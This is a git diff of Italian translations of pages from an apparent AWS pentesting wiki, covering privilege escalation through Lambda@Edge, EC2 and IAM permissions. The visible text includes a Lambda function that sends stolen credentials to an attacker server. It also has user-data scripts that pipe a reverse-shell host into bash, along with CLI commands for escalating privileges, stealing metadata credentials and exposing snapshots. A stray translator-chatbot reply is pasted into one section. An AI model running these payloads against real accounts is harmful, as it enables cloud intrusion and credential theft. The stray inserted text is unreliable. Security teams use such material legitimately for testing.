+}; +// Send credentials to attacker's server +try { +await fetch("https:///steal-credentials", { +method: "POST", +headers: { "Content-Type": "application/json" }, +body: JSON.stringify(credentials) +}); +} catch (error) { +console.error("Error sending credentials:", error); +} +if (event.Records && event.Records[0] && event.Records[0].cf) { +// Modify response headers +const response = event.Records[0].cf.response; +response.headers["x-credential-theft"] = [ +{ +key: "X-Credential-Theft", +value: "Successful", +}, +]; +return response; +} +return { +statusCode: 200, +body: JSON.stringify({ message: "Credentials stolen" }) +}; }; ``` ```bash -# Prepara il pacchetto della funzione Lambda@Edge +# Impacchetta la funzione Lambda@Edge zip malicious-lambda-edge.zip malicious-lambda-edge.js # Crea la funzione Lambda@Edge con un ruolo privilegiato @@ -210,7 +210,7 @@ aws cloudfront update-distribution \ --distribution-config file://current-config.json \ --if-match $CURRENT_ETAG -# Attiva la funzione effettuando una richiesta alla distribuzione +# Attiva la funzione richiedendo la distribuzione curl -v https://.cloudfront.net/ ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md index e6cc99c36..b435b1654 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -12,11 +12,11 @@ Per maggiori **informazioni su EC2** consulta: ### `iam:PassRole`, `ec2:RunInstances` -An attacker potrebbe **creare un'istanza allegando un IAM role e poi accedere all'istanza** per rubare le credenziali del ruolo IAM dall'endpoint dei metadata. +Un attaccante potrebbe **creare un'istanza assegnandole un ruolo IAM e poi accedere all'istanza** per rubare le credenziali del ruolo IAM dall'endpoint dei metadati. - **Accesso via SSH** -Avvia una nuova istanza usando una **creata** **ssh key** (`--key-name`) e poi accedi via ssh (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`). +Avvia una nuova istanza usando una **ssh key** **creata** (`--key-name`) e poi connettiti via ssh (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Accesso via rev shell in user data** -Puoi avviare una nuova instance usando una **user data** (`--user-data`) che ti invierà una **rev shell**. Non è necessario specificare il security group in questo modo. +Puoi avviare una nuova instance usando una **user data** (`--user-data`) che ti aprirà una **rev shell**. Non è necessario specificare il security group in questo modo. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Fai attenzione con GuradDuty se usi le credenziali dell'IAM role al di fuori dell'instance: +Fai attenzione a GuradDuty se usi le credenziali dell'IAM role al di fuori dell'istanza: {{#ref}} ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Impatto potenziale:** Direct privesc a qualsiasi ruolo EC2 associato agli instance profiles esistenti. +**Impatto potenziale:** Privesc diretto a qualsiasi EC2 role attached to existing instance profiles. #### Privesc a ECS -Con questo set di permessi potresti anche **creare un'istanza EC2 e registrarla in un cluster ECS**. In questo modo, ECS **servizi** verranno **eseguiti** all'interno dell'**istanza EC2** a cui hai accesso e potrai quindi penetrare quei servizi (docker containers) e **rubare gli ECS roles associati**. +Con questo set di permessi potresti anche **create an EC2 instance and register it inside an ECS cluster**. In questo modo, ECS **services** verranno **run** all'interno dell'**EC2 instance** a cui hai accesso e poi puoi penetrare quei servizi (docker containers) e **steal their ECS roles attached**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -Per imparare come **forzare l'esecuzione di servizi ECS** in questa nuova istanza EC2 controlla: +Per sapere come **forzare l'esecuzione dei servizi ECS in questa nuova istanza EC2** controlla: {{#ref}} ../aws-ecs-privesc/README.md {{#endref}} -Se **non puoi creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance`, potresti essere in grado di registrare l'istanza all'interno del cluster ed eseguire l'attacco commentato. +Se **non puoi creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance` potresti essere in grado di registrare l'istanza all'interno del cluster ed eseguire l'attacco descritto. -**Impatto potenziale:** privesc diretto ai ruoli ECS assegnati ai task. +**Impatto potenziale:** privesc diretto ai ruoli ECS associati ai task. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Simile allo scenario precedente, un attacker con questi permessi potrebbe **cambiare il ruolo IAM di un'istanza compromessa** in modo da poter rubare nuove credenziali.\ -Poiché un instance profile può avere soltanto 1 ruolo, se l'instance profile **ha già un ruolo** (caso comune), avrai anche bisogno di **`iam:RemoveRoleFromInstanceProfile`**. +Simile allo scenario precedente, un attaccante con questi permessi potrebbe **modificare il ruolo IAM di un'istanza compromessa** così da poter rubare nuove credenziali. +Poiché un instance profile può avere solo 1 ruolo, se l'instance profile **ha già un ruolo** (caso comune), avrai anche bisogno di **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -80,17 +80,17 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Se il **instance profile ha un role** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **instance profile senza un role** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **role** a quell'**instance profile** (come discusso prima), e **associare l'instance profile** compromesso a un **instance** compromesso: +Se l'**instance profile ha un role** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **instance profile senza role** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **role** a quell'**instance profile** (come discusso in precedenza), e **associare l'instance profile** compromised a un i**nstance:** -- Se l'**instance** non ha alcun **instance profile** (`ec2:AssociateIamInstanceProfile`) +- Se l'instance **non ha alcun instance** profile (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Impatto potenziale:** Privesc diretto a un ruolo EC2 diverso (è necessario aver compromesso un'istanza AWS EC2 e avere permessi aggiuntivi o uno specifico stato dell'instance profile). +**Impatto potenziale:** Privesc diretto a un ruolo EC2 diverso (devi aver compromesso un'istanza AWS EC2 e avere permessi aggiuntivi o uno specifico stato dell'instance profile). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Con questi permessi è possibile cambiare l'instance profile associato a un'istanza, quindi se l'attaccante aveva già accesso a un'istanza potrà rubare credenziali per più ruoli dell'instance profile modificando quello associato ad essa. +Con questi permessi è possibile cambiare l'instance profile associato a un'istanza, quindi se l'attaccante aveva già accesso a un'istanza potrà rubare credenziali per più instance profile roles modificando quello associato. - Se **ha un instance profile**, puoi **rimuovere** l'instance profile (`ec2:DisassociateIamInstanceProfile`) e **associarlo** ```bash @@ -98,16 +98,16 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- o **sostituire** il **instance profile** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`). +- oppure **sostituire** il **instance profile** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -**Impatto potenziale:** Privesc diretto a un diverso ruolo EC2 (devi aver compromesso un'istanza AWS EC2 e avere permessi aggiuntivi o uno stato specifico del instance profile). +**Impatto potenziale:** Privesc diretto a un diverso EC2 role (è necessario aver compromesso una AWS EC2 instance e avere qualche permesso extra o uno specifico instance profile status). ### `ec2:RequestSpotInstances`,`iam:PassRole` -Un attacker con i permessi **`ec2:RequestSpotInstances`and`iam:PassRole`** può **richiedere** una **Spot Instance** con un **EC2 Role attached** e una **rev shell** nei **user data**.\ -Una volta avviata l'istanza, può **rubare l'IAM role**. +Un attacker con i permessi **`ec2:RequestSpotInstances`and`iam:PassRole`** può **richiedere** una **Spot Instance** con un **EC2 Role attached** e una **rev shell** nel **user data**.\ +Una volta che l'istanza è avviata, può **rubare l'IAM role**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -119,9 +119,9 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -Un attacker con la **`ec2:ModifyInstanceAttribute`** può modificare gli attributi dell'istanza. Tra questi, può **cambiare i user data**, il che implica che può far **eseguire all'istanza dati arbitrari**, cosa che può essere usata per ottenere una **rev shell sull'istanza EC2**. +Un attaccante con la **`ec2:ModifyInstanceAttribute`** può modificare gli attributi dell'istanza. Tra questi, può **change the user data**, il che implica che può far **run arbitrary data** sull'istanza. Questo può essere usato per ottenere una **rev shell to the EC2 instance**. -Nota che gli attributi possono essere **modificati solo mentre l'istanza è spenta**, quindi sono necessari i permessi **`ec2:StopInstances`** e **`ec2:StartInstances`**. +Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi sono necessarie le **autorizzazioni** **`ec2:StopInstances`** e **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Impatto Potenziale:** Privesc diretto a qualsiasi EC2 IAM Role assegnato a un'istanza creata. +**Potential Impact:** privesc diretto a qualsiasi EC2 IAM Role associato a un'istanza creata. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** può creare una **nuova Launch Template versione** con un **rev shell nei** **user data** e **qualsiasi EC2 IAM Role su di esso**, cambiare la versione predefinita, e **qualsiasi Autoscaler group** **che usa** quel **Launch Templat**e che è **configurato** per usare la **ultima** o la **versione predefinita** riavvierà le istanze usando quel template ed eseguirà il rev shell. +Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** può creare una **nuova versione del Launch Template** con una **rev shell nel** **user data** e **qualsiasi EC2 IAM Role su di essa**, cambiare la versione di default, e **qualsiasi Autoscaler group** **using** quel **Launch Template** che è **configurato** per usare la **latest** o la **default version** **riavvierà le istanze** usando quel template ed eseguirà la rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -176,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Impatto potenziale:** Privesc diretto a un diverso EC2 role. +**Impatto potenziale:** Privesc diretto a un EC2 role diverso. ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -Un attaccante con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **create a Launch Configuration** con un **IAM Role** e una **rev shell** all'interno del **user data**, poi **create an autoscaling group** da quella config e aspettare che la rev shell **steal the IAM Role**. +Un attaccante con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **creare una Launch Configuration** con un **IAM Role** e una **rev shell** all'interno dei **user data**, poi **creare un autoscaling group** da quella config e attendere che la **rev shell** riesca a **rubare l'IAM Role**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Impatto potenziale:** privesc diretto a un diverso ruolo EC2. +**Potenziale impatto:** Direct privesc to a different EC2 role. ### `!autoscaling` -Il set di permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non è sufficiente per eseguire escalation** di privilegi a un ruolo IAM perché, per poter allegare il ruolo specificato nella Launch Configuration o nel Launch Template, **è necessario il permesso `iam:PassRole` e `ec2:RunInstances`** (che è una privesc nota). +Il set di permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non è sufficiente per escalare** i privilegi a un IAM role perché, per associare il role specificato nella Launch Configuration o nella Launch Template, **sono necessari i permessi `iam:PassRole` e `ec2:RunInstances`** (che è un privesc noto). ### `ec2-instance-connect:SendSSHPublicKey` -Un attaccante con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per eseguire escalation di privilegi. +Un attaccante con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per escalare i privilegi. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Potential Impact:** Privesc diretto ai EC2 IAM roles associati alle istanze in esecuzione. +**Impatto potenziale:** Privesc diretto alle EC2 IAM roles associate alle istanze in esecuzione. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Un attaccante con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una chiave ssh alla console seriale**. Se la console seriale non è abilitata, l'attaccante ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**. +Un attaccante con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una ssh key a una connessione seriale**. Se la console seriale non è abilitata, l'attaccante ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**. -Per connettersi alla porta seriale è inoltre **necessario conoscere lo username e la password di un utente** all'interno della macchina. +Per connettersi alla porta seriale è inoltre necessario **conoscere lo username e la password di un utente** all'interno della macchina. ```bash aws ec2 enable-serial-console-access @@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Questo metodo non è molto utile per il privesc, perché è necessario conoscere un nome utente e una password per sfruttarlo. +Questo metodo non è molto utile per il privesc poiché è necessario conoscere uno username e una password per sfruttarlo. -**Impatto potenziale:** (Altamente non verificabile) Privesc diretto ai EC2 IAM roles associati alle istanze in esecuzione. +**Impatto potenziale:** (Altamente non verificabile) Accesso diretto di privesc ai EC2 IAM roles associati alle istanze in esecuzione. ### `describe-launch-templates`,`describe-launch-template-versions` -Poiché le launch templates hanno versioning, un attacker con i permessi **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarle per scoprire informazioni sensibili, come credenziali presenti nel user data. Per farlo, lo script seguente cicla attraverso tutte le versioni delle launch templates disponibili: +Poiché i launch templates hanno versioning, un attaccante con le autorizzazioni **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come credenziali presenti nei user data. Per fare ciò, lo script seguente scorre tutte le versioni dei launch template disponibili: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -248,11 +248,11 @@ echo done | grep -iE "aws_|password|token|api" done ``` -Nei comandi sopra, anche se stiamo specificando determinati pattern (`aws_|password|token|api`), puoi usare una regex diversa per cercare altri tipi di informazioni sensibili. +Nei comandi sopra, anche se stiamo specificando alcuni pattern (`aws_|password|token|api`), puoi usare una regex diversa per cercare altri tipi di informazioni sensibili. -Se troviamo `aws_access_key_id` e `aws_secret_access_key`, possiamo usare queste credenziali per autenticarsi ad AWS. +Se troviamo `aws_access_key_id` e `aws_secret_access_key`, possiamo usare queste credenziali per autenticarsi su AWS. -**Impatto potenziale:** Escalation di privilegi diretta a utente(i) IAM. +**Potenziale impatto:** Escalation diretta dei privilegi a IAM user(s). ## Riferimenti @@ -263,14 +263,14 @@ Se troviamo `aws_access_key_id` e `aws_secret_access_key`, possiamo usare queste -### `ec2:ModifyInstanceMetadataOptions` (downgrade IMDS per consentire il furto di credenziali via SSRF) +### `ec2:ModifyInstanceMetadataOptions` (downgrade di IMDS per abilitare il furto di credenziali via SSRF) -Un attacker con la possibilità di chiamare `ec2:ModifyInstanceMetadataOptions` su un'istanza EC2 vittima può indebolire le protezioni IMDS abilitando IMDSv1 (`HttpTokens=optional`) e aumentando il `HttpPutResponseHopLimit`. Questo rende l'instance metadata endpoint raggiungibile tramite percorsi SSRF/proxy comuni dalle applicazioni in esecuzione sull'istanza. Se l'attacker riesce a far scattare una SSRF in tale app, può recuperare le instance profile credentials e pivot con esse. +Un attaccante con la capacità di chiamare `ec2:ModifyInstanceMetadataOptions` su un'istanza EC2 vittima può indebolire le protezioni IMDS abilitando IMDSv1 (`HttpTokens=optional`) e aumentando il `HttpPutResponseHopLimit`. Questo rende l'endpoint dei metadata dell'istanza raggiungibile tramite percorsi SSRF/proxy comuni da applicazioni in esecuzione sull'istanza. Se l'attaccante può innescare una SSRF in tale app, può recuperare le credenziali dell'instance profile e pivotare con esse. -- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host). -- Target resource: The running EC2 instance with an attached instance profile (IAM role). +- Permessi richiesti: `ec2:ModifyInstanceMetadataOptions` sull'istanza target (più la capacità di raggiungere/innescare una SSRF sull'host). +- Risorsa target: l'istanza EC2 in esecuzione con un instance profile allegato (IAM role). -Commands example: +Esempio di comandi: ```bash # 1) Check current metadata settings aws ec2 describe-instances --instance-id \ @@ -297,11 +297,11 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -Potenziale impatto: Furto delle credenziali del profilo istanza via SSRF che porta a escalation di privilegi e movimento laterale con i permessi del ruolo EC2. +Impatto potenziale: Theft of instance profile credentials via SSRF leading to privilege escalation and lateral movement with the EC2 role permissions. ### `ec2:ModifyInstanceMetadataOptions` -Un attaccante con il permesso ec2:ModifyInstanceMetadataOptions può indebolire le protezioni di Instance Metadata Service (IMDS) — per esempio forzando IMDSv1 (rendendo HttpTokens non obbligatori) o aumentando HttpPutResponseHopLimit — facilitando così l'esfiltrazione di credenziali temporanee. Il vettore di rischio più rilevante è l'aumento di HttpPutResponseHopLimit: aumentando quel hop limit (TTL), l'endpoint 169.254.169.254 cessa di essere strettamente limitato allo spazio dei nomi di rete della VM e può diventare raggiungibile da altri processi/container, permettendo il furto delle credenziali. +Un attaccante con il permesso ec2:ModifyInstanceMetadataOptions può indebolire le protezioni dell'Instance Metadata Service (IMDS) — per esempio forzando IMDSv1 (rendendo HttpTokens non obbligatori) o aumentando HttpPutResponseHopLimit — facilitando così l'esfiltrazione di credenziali temporanee. Il vettore di rischio più rilevante è l'aumento di HttpPutResponseHopLimit: aumentando quel hop limit (TTL), l'endpoint 169.254.169.254 cessa di essere strettamente limitato al network namespace della VM e può diventare raggiungibile da altri processi/containers, consentendo il furto di credenziali. ```bash aws ec2 modify-instance-metadata-options \ --instance-id \ @@ -311,13 +311,13 @@ aws ec2 modify-instance-metadata-options \ ``` ### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` -Un attaccante con le autorizzazioni ec2:ModifyImageAttribute e ec2:ModifySnapshotAttribute può condividere AMIs o snapshots con altri account AWS (o perfino renderli pubblici), esponendo immagini o volumi che possono contenere dati sensibili come configurazioni, credenziali, certificati o backup. Modificando le launch permissions di un'AMI o le create-volume permissions di uno snapshot, l'attaccante permette a terzi di avviare istanze o montare dischi da quelle risorse e accedere ai loro contenuti. +Un attaccante con i permessi `ec2:ModifyImageAttribute` e `ec2:ModifySnapshotAttribute` può condividere AMI o snapshot con altri account AWS (o addirittura renderli pubblici), esponendo immagini o volumi che possono contenere dati sensibili come configurazioni, credenziali, certificati o backup. Modificando le launch permissions di un AMI o le create-volume permissions di uno snapshot, l'attaccante permette a terzi di avviare istanze o montare dischi da quelle risorse e accedere ai loro contenuti. -Per condividere un'AMI con un altro account: +Per condividere un AMI con un altro account: ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -Per condividere uno snapshot EBS con un altro account: +Per condividere un EBS snapshot con un altro account: ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 11f7eb8d3..b45c53174 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Per maggiori informazioni su IAM, vedi: +Per maggiori informazioni su IAM, consulta: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,40 +12,40 @@ Per maggiori informazioni su IAM, vedi: ### **`iam:CreatePolicyVersion`** -Concede la possibilità di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` usando il flag `--set-as-default`. Questo consente di definire permessi personalizzati. +Consente di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` usando il flag `--set-as-default`. Questo consente di definire permessi personalizzati. -**Comando Exploit:** +**Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impact:** Escalazione diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa. +**Impatto:** Escalazione diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa. ### **`iam:SetDefaultPolicyVersion`** -Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione dispone di più permessi. +Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi. -**Comando Bash:** +**Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impatto:** Indirect privilege escalation by enabling more permissions. +**Impatto:** Escalation di privilegi indiretta abilitando permessi aggiuntivi. ### **`iam:CreateAccessKey`** -Consente la creazione di access key ID e secret access key per un altro utente, portando a una potenziale privilege escalation. +Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale escalation di privilegi. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impatto:** Privilege escalation diretta ottenuta assumendo i permessi estesi di un altro utente. +**Impact:** Escalation di privilegi diretta assumendo i permessi estesi di un altro utente. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Consente di creare o aggiornare un login profile, incluso impostare password per AWS console login, portando a privilege escalation diretta. +Consente di creare o aggiornare un login profile, compresa l'impostazione di password per l'accesso alla console AWS, con conseguente escalation di privilegi diretta. -**Exploit for Creation:** +**Exploit per la creazione:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -55,37 +55,37 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impatto:** Escalation diretta dei privilegi effettuando l'accesso come qualsiasi utente. +**Impact:** Escalation diretta dei privilegi effettuando l'accesso come utente "qualsiasi". ### **`iam:UpdateAccessKey`** -Consente di riattivare una chiave di accesso disabilitata, potenzialmente portando ad accessi non autorizzati se l'attaccante è in possesso della chiave disabilitata. +Consente di abilitare una access key disabilitata, potenzialmente permettendo accessi non autorizzati se l'attaccante è in possesso della access key disabilitata. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impatto:** Escalation diretta dei privilegi riattivando le access keys. +**Impatto:** Escalation di privilegi diretta riattivando access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Consente di generare o reimpostare credenziali per servizi specifici di AWS (es. CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato. +Consente di generare o reimpostare credenziali per servizi AWS specifici (es. CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato. -**Exploit for Creation:** +**Exploit per la creazione:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**Exploit per Reset:** +**Exploit per il reset:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impatto:** Escalation diretta dei privilegi all'interno dei permessi di servizio dell'utente. +**Impatto:** Escalation di privilegi diretta sulle autorizzazioni di servizio dell'utente. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Consente di allegare policy a utenti o gruppi, permettendo un'elevazione diretta dei privilegi ereditando i permessi della policy allegata. +Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando le autorizzazioni della policy allegata. -**Exploit for User:** +**Exploit per l'utente:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` @@ -93,13 +93,13 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impatto:** Escalation di privilegi diretta su qualunque cosa concessa dalla policy. +**Impatto:** Escalation di privilegi diretta a qualsiasi cosa la policy conceda. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Consente di allegare o inserire policy a ruoli, utenti o gruppi, permettendo un'escalation diretta dei privilegi tramite la concessione di permessi aggiuntivi. +Permette di allegare o aggiungere policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta concedendo permessi aggiuntivi. -**Exploit per ruolo:** +**Exploit per il ruolo:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -114,7 +114,9 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Puoi usare una policy come: +Non vedo il contenuto da tradurre. Per favore incolla il testo del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md qui. + +Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice, nomi tecnici (es. aws, lambda, pentesting) e le altre eccezioni che hai indicato. ```json { "Version": "2012-10-17", @@ -127,28 +129,28 @@ Puoi usare una policy come: ] } ``` -**Impatto:** Direct privilege escalation aggiungendo permessi tramite policy. +**Impatto:** Escalation diretta dei privilegi aggiungendo permessi tramite policy. ### **`iam:AddUserToGroup`** -Consente di aggiungere se stessi a un gruppo IAM, escalating privileges ereditando le autorizzazioni del gruppo. +Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo. -**Exploit:** +**Sfruttamento:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impatto:** Escalation diretta dei privilegi al livello dei permessi del gruppo. +**Impatto:** Escalation di privilegi diretta al livello delle autorizzazioni del gruppo. ### **`iam:UpdateAssumeRolePolicy`** -Permette di modificare il documento della assume role policy di un role, consentendo l'assunzione del role e dei permessi ad esso associati. +Consente di alterare il documento assume role policy di un ruolo, consentendo l'assunzione del ruolo e delle autorizzazioni associate. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Quando la policy è simile alla seguente, che concede all'utente il permesso di assumere il ruolo: +Quando la policy è la seguente, che dà all'utente il permesso di assumere il ruolo: ```json { "Version": "2012-10-17", @@ -163,11 +165,11 @@ Quando la policy è simile alla seguente, che concede all'utente il permesso di ] } ``` -**Impatto:** Direct privilege escalation assumendo i permessi di qualsiasi ruolo. +**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Consente il caricamento di una SSH public key per l'autenticazione a CodeCommit e la disattivazione di dispositivi MFA, portando a una potenziale privilege escalation indiretta. +Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, portando a una possibile escalation di privilegi indiretta. **Exploit for SSH Key Upload:** ```bash @@ -181,20 +183,20 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Escalation di privilegi indiretta aggiungendo o manipolando dispositivi MFA. +**Impatto:** Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Con queste autorizzazioni puoi **modificare i metadati XML della connessione SAML**. Quindi, potresti abusare della **SAML federation** per **login** con qualsiasi **role** che si fidi di essa. +Con queste autorizzazioni puoi **modificare i metadati XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **login** con qualsiasi **ruolo che si fida di essa**. -Nota che facendo ciò **gli utenti legittimi non potranno effettuare il login**. Tuttavia, potresti ottenere l'XML; potresti inserire il tuo, **login** e poi ripristinare quello precedente. +Nota che facendo questo **gli utenti 